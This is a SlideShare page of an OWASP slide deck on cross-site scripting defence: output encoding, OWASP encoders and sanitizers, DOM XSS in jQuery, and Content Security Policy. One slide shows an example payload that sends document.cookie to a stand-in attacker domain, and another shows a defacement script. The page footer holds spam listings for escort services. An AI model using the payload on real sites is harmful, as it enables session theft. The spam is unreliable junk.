SlideShare una empresa de Scribd logo
1 de 32
The OWASP Foundation
http://www.owasp.org
Cross Site Scripting
JavaScript Injection
Contextual Output Encoding
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Encoding
Output
Safe ways to represent dangerous characters in a web page
Characters Decimal Hexadecimal
HTML
Character Set
Unicode
" (double
quotation
marks)
" " " u0022
' (single
quotation
mark)
' ' ' u0027
& (ampersand) & & & u0026
< (less than) &#60; &#x3C; &lt; u003c
> (greater
than)
&#62; &#x3E; &gt; u003e
The OWASP Foundation
http://www.owasp.org
XSS Attack
Payloads
– Session Hijacking
– Site Defacement
– Network Scanning
– Undermining CSRF Defenses
– Site Redirection/Phishing
– Load of Remotely Hosted Scripts
– Data Theft
– Keystroke Logging
– Attackers using XSS more frequently
The OWASP Foundation
http://www.owasp.org
<script>window.location=‘https://evilev
iljim.com/unc/data=‘ +
document.cookie;</script>
<script>document.body.innerHTML=‘<blink
>EOIN IS COOL</blink>’;</script>
Anatomy of a XSS Attack
The OWASP Foundation
http://www.owasp.org
XSS Defense by Data
Type and Context
Data Type Context Defense
String HTML Body HTML Entity Encode
String HTML Attribute Minimal Attribute Encoding
String GET Parameter URL Encoding
String Untrusted URL URL Validation, avoid javascript:
URLs, Attribute encoding, safe
URL verification
String CSS Strict structural validation, CSS
Hex encoding, good design
HTML HTML Body HTML Validation (JSoup,
AntiSamy, HTML Sanitizer)
Any DOM DOM XSS Cheat Sheet
Untrusted JavaScript Any Sandboxing
JSON Client Parse Time JSON.parse() or json2.js
Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing,
class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight,
marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan,
scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
The OWASP Foundation
http://www.owasp.org
OWASP Java Encoder Project
https://www.owasp.org/index.php/OWASP_Java_Encoder_Project
• No third party libraries or configuration necessary.
• This code was designed for high-availability/high-
performance encoding functionality.
• Simple drop-in encoding functionality
• Redesigned for performance
• More complete API (uri and uri component encoding, etc)
in some regards.
• This is a Java 1.5 project.
• Will be the default encoder in the next revision of ESAPI.
• Last updated February 14, 2013 (version 1.1)
The OWASP Foundation
http://www.owasp.org
The Problem
Web Page built in Java JSP is vulnerable to XSS
The Solution
<%-- Basic HTML Context --%>
<body><b><%= Encode.forHtml(UNTRUSTED) %>" /></b></body>
<%-- HTML Attribute Context --%>
<input type="text" name="data" value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<%-- Javascript Block context --%>
<script type="text/javascript">
var msg = "<%= Encode.forJavaScriptBlock(UNTRUSTED) %>"; alert(msg);
</script>
<%-- Javascript Variable context --%>
<button onclick="alert('<%= Encode.forJavaScriptAttribute(UNTRUSTED) %>');">click
me</button>
The OWASP Foundation
http://www.owasp.org
<b><%= Encode.forHtml(UNTRUSTED)%></b>
<p>Title:<%= Encode.forHtml(UNTRUSTED)%></p>
<textarea name="text">
<%= Encode.forHtmlContent(UNTRUSTED) %>
</textarea>
The OWASP Foundation
http://www.owasp.org
<input type="text" name="data"
value="<%= Encode.forHtmlAttribute(UNTRUSTED) %>" />
<input type="text" name="data"
value=<%= Encode.forHtmlUnquotedAttribute(UNTRUSTED) %> />
The OWASP Foundation
http://www.owasp.org
<%-- Encode URL parameter values --%>
<a href="/search?value=
<%=Encode.forUriComponent(parameterValue)%>&order=1#top">
<%-- Encode REST URL parameters --%>
<a href="http://www.codemagi.com/page/
<%=Encode.forUriComponent(restUrlParameter)%>">
The OWASP Foundation
http://www.owasp.org
<a href="<%= Encode.forHTMLAttribute(untrustedURL) %>">
Encode.forHtmlContext(untrustedURL)
</a>
The OWASP Foundation
http://www.owasp.org
<button
onclick="alert('<%= Encode.forJavaScript(alertMsg) %>');">
click me</button>
<button
onclick="alert('<%=
Encode.forJavaScriptAttribute(alertMsg) %>');">click
me</button>
<script type="text/javascript”>
var msg = "<%= Encode.forJavaScriptBlock(alertMsg) %>";
alert(msg);
</script>
The OWASP Foundation
http://www.owasp.org
<div
style="background: url('<%=Encode.forCssUrl(value)%>');">
<style type="text/css">
background-color:'<%=Encode.forCssString(value)%>';
</style>
The OWASP Foundation
http://www.owasp.org
Other Encoding Libraries
Ruby on Rails
http://api.rubyonrails.org/classes/ERB/Util.html
Reform Project
Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP
https://www.owasp.org/index.php/Category:OWASP_Encoding_Project
ESAPI
PHP.NET, Python, Classic ASP, Cold Fusion
https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_
API
.NET AntiXSS Library
http://wpl.codeplex.com/releases/view/80289
The OWASP Foundation
http://www.owasp.org
Nested Contexts Best to avoid:
an element attribute calling a Javascript function etc - parsing chains
<div
onclick="showError('<%=request.getParameter("errorxyz")
%>')" >An error occurred ....</div>
Here we have a HTML attribute(onClick) and within a
nested Javascript function call (showError).
Parsing order:
1: HTML decode the contents of the onclick attribute.
2: When onClick is selected: Javascript Parsing of showError
So we have 2 contexts here...HTML and Javascript (2 browser
parsers).
The OWASP Foundation
http://www.owasp.org
We need to apply "layered" encoding in the RIGHT
order:
1) JavaScript encode
2) HTML Attribute Encode so it "unwinds" properly
and is not vulnerable.
<div onclick="showError ('<%=
Encoder.encodeForHtml(Encoder.encodeForJ
avaScript(
request.getParameter("error")%>')))" >An
error occurred ....</div>
The OWASP Foundation
http://www.owasp.org
OWASP HTML Sanitizer Project
https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project
• HTML Sanitizer written in Java which lets you include HTML authored by
third-parties in your web application while protecting against XSS.
• This code was written with security best practices in mind, has an
extensive test suite, and has undergone adversarial security review
https://code.google.com/p/owasp-java-html-
sanitizer/wiki/AttackReviewGroundRules.
• Very easy to use.
• It allows for simple programmatic POSITIVE policy configuration (see
below). No XML config.
• Actively maintained by Mike Samuel from Google's AppSec team!
• This is code from the Caja project that was donated by Google. It is
rather high performance and low memory utilization.
The OWASP Foundation
http://www.owasp.org
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
HTML Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of untrusted HTML
The Solution
PolicyFactory policy = new HtmlPolicyBuilder()
.allowElements("a")
.allowUrlProtocols("https")
.allowAttributes("href").onElements("a")
.requireRelNofollowOnLinks()
.build();
String safeHTML = policy.sanitize(untrustedHTML);
The OWASP Foundation
http://www.owasp.org
OWASP JSON Sanitizer Project
https://www.owasp.org/index.php/OWASP_JSON_Sanitizer
• Given JSON-like content, converts it to valid JSON.
• This can be attached at either end of a data-pipeline to help
satisfy Postel's principle: Be conservative in what you do, be
liberal in what you accept from others.
• Applied to JSON-like content from others, it will produce
well-formed JSON that should satisfy any parser you use.
• Applied to your output before you send, it will coerce minor
mistakes in encoding and make it easier to embed your
JSON in HTML and XML.
The OWASP Foundation
http://www.owasp.org
Solving Real World Problems with the OWASP
JSON Sanitizer Project
The Problem
Web Page is vulnerable to XSS because of parsing of untrusted JSON incorrectly
The Solution
JSON Sanitizer can help with two use cases.
1) Sanitizing untrusted JSON on the server that is submitted from the browser in
standard AJAX communication
2) Sanitizing potentially untrusted JSON server-side before sending it to the browser.
The output is a valid Javascript expression, so can be parsed by Javascript's eval
or by JSON.parse.
The OWASP Foundation
http://www.owasp.org
DOM-Based XSS Defense
• Untrusted data should only be treated as displayable text
• JavaScript encode and delimit untrusted data as quoted strings
• Use safe API’s like document.createElement("…"),
element.setAttribute("…","value"), element.appendChild(…) and
$(‘#element’).text(…); to build dynamic interfaces
• Avoid use of HTML rendering methods
• Avoid sending any untrusted data to the JS methods that have a
code execution context likeeval(..), setTimeout(..), onclick(..),
onblur(..).
The OWASP Foundation
http://www.owasp.org
 SAFE use of JQuery
 $(‘#element’).text(UNTRUSTED DATA);
UNSAFE use of JQuery
$(‘#element’).html(UNTRUSTED DATA);
The OWASP Foundation
http://www.owasp.org
26
jQuery methods that directly update DOM or can execute
JavaScript
$() or jQuery() .attr()
.add() .css()
.after() .html()
.animate() .insertAfter()
.append() .insertBefore()
.appendTo() Note: .text() updates DOM, but
is safe.
Dangerous jQuery 1.7.2 Data Types
CSS Some Attribute Settings
HTML URL (Potential Redirect)
jQuery methods that accept URLs to potentially unsafe content
jQuery.ajax() jQuery.post()
jQuery.get() load()
jQuery.getScript()
The OWASP Foundation
http://www.owasp.org
 Contextual encoding is a crucial technique needed to stop all
types of XSS
 jqencoder is a jQuery plugin that allows developers to do
contextual encoding in JavaScript to stop DOM-based XSS
 http://plugins.jquery.com/plugin-
tags/security
 $('#element').encode('html', cdata);
JQuery Encoding with
JQencoder
The OWASP Foundation
http://www.owasp.org
Content Security Policy
• Anti-XSS W3C standard
• Content Security Policy latest release version
• http://www.w3.org/TR/CSP/
• Must move all inline script and style into external scripts
• Add the X-Content-Security-Policy response header to
instruct the browser that CSP is in use
- Firefox/IE10PR: X-Content-Security-Policy
- Chrome Experimental: X-WebKit-CSP
- Content-Security-Policy-Report-Only
• Define a policy for the site regarding loading of content
The OWASP Foundation
http://www.owasp.org
Get rid of XSS, eh?
A script-src directive that doesn‘t contain ‘unsafe-inline’
eliminates a huge class of cross site scripting
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
I WILL NOT WRITE INLINE JAVASCRIPT
The OWASP Foundation
http://www.owasp.org
Real world CSP in action
The OWASP Foundation
http://www.owasp.org
What does this report look like?
{
"csp-report"=> {
"document-uri"=>"http://localhost:3000/home",
"referrer"=>"",
"blocked-uri"=>"ws://localhost:35729/livereload",
"violated-directive"=>"xhr-src ws://localhost.twitter.com:*"
}
}
The OWASP Foundation
http://www.owasp.org
{
"csp-report"=> {
"document-uri"=>"http://example.com/welcome",
"referrer"=>"",
"blocked-uri"=>"self",
"violated-directive"=>"inline script base restriction",
"source-file"=>"http://example.com/welcome",
"script-sample"=>"alert(1)",
"line-number"=>81
}
}
What does this report look like?

Más contenido relacionado

La actualidad más candente

Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
levigross
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
Erlend Oftedal
 

La actualidad más candente (20)

Django Web Application Security
Django Web Application SecurityDjango Web Application Security
Django Web Application Security
 
Access Control Pitfalls v2
Access Control Pitfalls v2Access Control Pitfalls v2
Access Control Pitfalls v2
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
ng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applicationsng-owasp: OWASP Top 10 for AngularJS Applications
ng-owasp: OWASP Top 10 for AngularJS Applications
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
 
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
XSS Attacks Exploiting XSS Filter by Masato Kinugawa - CODE BLUE 2015
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 
Building Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTsBuilding Secure User Interfaces With JWTs
Building Secure User Interfaces With JWTs
 
W3 conf hill-html5-security-realities
W3 conf hill-html5-security-realitiesW3 conf hill-html5-security-realities
W3 conf hill-html5-security-realities
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Avoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might thinkAvoiding Cross Site Scripting - Not as easy as you might think
Avoiding Cross Site Scripting - Not as easy as you might think
 
Web application Security
Web application SecurityWeb application Security
Web application Security
 
Secure java script-for-developers
Secure java script-for-developersSecure java script-for-developers
Secure java script-for-developers
 
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS AttacksXSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
XSSmon: A Perl Based IDS for the Detection of Potential XSS Attacks
 
Intro to Php Security
Intro to Php SecurityIntro to Php Security
Intro to Php Security
 
Ten Commandments of Secure Coding
Ten Commandments of Secure CodingTen Commandments of Secure Coding
Ten Commandments of Secure Coding
 
Jsp
JspJsp
Jsp
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Writing Secure Code for WordPress
Writing Secure Code for WordPressWriting Secure Code for WordPress
Writing Secure Code for WordPress
 
JWT Authentication with AngularJS
JWT Authentication with AngularJSJWT Authentication with AngularJS
JWT Authentication with AngularJS
 

Similar a XSS Defence with @manicode and @eoinkeary

Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim
 
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Yosuke HASEGAWA
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
johnpragasam1
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
azida3
 
Slides
SlidesSlides
Slides
vti
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
cgt38842
 

Similar a XSS Defence with @manicode and @eoinkeary (20)

Web Application Defences
Web Application DefencesWeb Application Defences
Web Application Defences
 
15 owasp top 10 - a3-xss
15   owasp top 10 - a3-xss15   owasp top 10 - a3-xss
15 owasp top 10 - a3-xss
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
04. xss and encoding
04.  xss and encoding04.  xss and encoding
04. xss and encoding
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
Bypass SOP, Theft Your Data - XSS Allstars from Japan / OWASP AppSec APAC 2014
 
OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2OWASP_Top_Ten_Proactive_Controls version 2
OWASP_Top_Ten_Proactive_Controls version 2
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Slides
SlidesSlides
Slides
 
OWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptxOWASP_Top_Ten_Proactive_Controls_v2.pptx
OWASP_Top_Ten_Proactive_Controls_v2.pptx
 
Webpack packing it all
Webpack packing it allWebpack packing it all
Webpack packing it all
 
Packing it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to nowPacking it all: JavaScript module bundling from 2000 to now
Packing it all: JavaScript module bundling from 2000 to now
 
자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)
자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)
자바 웹 개발 시작하기 (1주차 : 웹 어플리케이션 체험 실습)
 
OWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptxOWASP_Top_Ten_Proactive_Controls_v32.pptx
OWASP_Top_Ten_Proactive_Controls_v32.pptx
 
DVWA BruCON Workshop
DVWA BruCON WorkshopDVWA BruCON Workshop
DVWA BruCON Workshop
 
Java scipt
Java sciptJava scipt
Java scipt
 
20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP20160211 OWASP Charlotte RASP
20160211 OWASP Charlotte RASP
 
Application Security for RIAs
Application Security for RIAsApplication Security for RIAs
Application Security for RIAs
 

Más de Eoin Keary

Más de Eoin Keary (20)

IISF-March2023.pptx
IISF-March2023.pptxIISF-March2023.pptx
IISF-March2023.pptx
 
Validation of vulnerabilities.pdf
Validation of vulnerabilities.pdfValidation of vulnerabilities.pdf
Validation of vulnerabilities.pdf
 
Does a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdfDoes a Hybrid model for vulnerability Management Make Sense.pdf
Does a Hybrid model for vulnerability Management Make Sense.pdf
 
Edgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics ReportEdgescan 2022 Vulnerability Statistics Report
Edgescan 2022 Vulnerability Statistics Report
 
Edgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats ReportEdgescan 2021 Vulnerability Stats Report
Edgescan 2021 Vulnerability Stats Report
 
One login enemy at the gates
One login enemy at the gatesOne login enemy at the gates
One login enemy at the gates
 
Edgescan vulnerability stats report 2020
Edgescan vulnerability stats report 2020Edgescan vulnerability stats report 2020
Edgescan vulnerability stats report 2020
 
edgescan vulnerability stats report (2018)
 edgescan vulnerability stats report (2018)  edgescan vulnerability stats report (2018)
edgescan vulnerability stats report (2018)
 
edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019) edgescan vulnerability stats report (2019)
edgescan vulnerability stats report (2019)
 
Full stack vulnerability management at scale
Full stack vulnerability management at scaleFull stack vulnerability management at scale
Full stack vulnerability management at scale
 
Vulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of changeVulnerability Intelligence - Standing Still in a world full of change
Vulnerability Intelligence - Standing Still in a world full of change
 
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019Edgescan   vulnerability stats report 2019 - h-isac-2-2-2019
Edgescan vulnerability stats report 2019 - h-isac-2-2-2019
 
Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.Hide and seek - Attack Surface Management and continuous assessment.
Hide and seek - Attack Surface Management and continuous assessment.
 
Online Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat ModelOnline Gaming Cyber security and Threat Model
Online Gaming Cyber security and Threat Model
 
Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.Keeping the wolf from 1000 doors.
Keeping the wolf from 1000 doors.
 
Security by the numbers
Security by the numbersSecurity by the numbers
Security by the numbers
 
Web security – everything we know is wrong cloud version
Web security – everything we know is wrong   cloud versionWeb security – everything we know is wrong   cloud version
Web security – everything we know is wrong cloud version
 
Cybersecurity by the numbers
Cybersecurity by the numbersCybersecurity by the numbers
Cybersecurity by the numbers
 
Ebu class edgescan-2017
Ebu class edgescan-2017Ebu class edgescan-2017
Ebu class edgescan-2017
 
Vulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbersVulnerability management and threat detection by the numbers
Vulnerability management and threat detection by the numbers
 

Último

💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
nirzagarg
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
dharasingh5698
 
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
@Chandigarh #call #Girls 9053900678 @Call #Girls in @Punjab 9053900678
 
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
imonikaupta
 
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
Call Girls In Delhi Whatsup 9873940964 Enjoy Unlimited Pleasure
 
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
nirzagarg
 
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
nilamkumrai
 
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
@Chandigarh #call #Girls 9053900678 @Call #Girls in @Punjab 9053900678
 

Último (20)

Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirt
 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
 
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...Russian Call Girls Pune  (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
Russian Call Girls Pune (Adult Only) 8005736733 Escort Service 24x7 Cash Pay...
 
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
💚😋 Bilaspur Escort Service Call Girls, 9352852248 ₹5000 To 25K With AC💚😋
 
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 BookingVIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
VIP Call Girls Pollachi 7001035870 Whatsapp Number, 24/07 Booking
 
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...Katraj ( Call Girls ) Pune  6297143586  Hot Model With Sexy Bhabi Ready For S...
Katraj ( Call Girls ) Pune 6297143586 Hot Model With Sexy Bhabi Ready For S...
 
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
📱Dehradun Call Girls Service 📱☎️ +91'905,3900,678 ☎️📱 Call Girls In Dehradun 📱
 
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
 
20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf20240508 QFM014 Elixir Reading List April 2024.pdf
20240508 QFM014 Elixir Reading List April 2024.pdf
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
 
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
valsad Escorts Service ☎️ 6378878445 ( Sakshi Sinha ) High Profile Call Girls...
 
Trump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts SweatshirtTrump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts Sweatshirt
 
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men  🔝mehsana🔝   Escorts...
➥🔝 7737669865 🔝▻ mehsana Call-girls in Women Seeking Men 🔝mehsana🔝 Escorts...
 
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
( Pune ) VIP Baner Call Girls 🎗️ 9352988975 Sizzling | Escorts | Girls Are Re...
 
Microsoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck MicrosoftMicrosoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck Microsoft
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
6.High Profile Call Girls In Punjab +919053900678 Punjab Call GirlHigh Profil...
 
Call Girls Sangvi Call Me 7737669865 Budget Friendly No Advance BookingCall G...
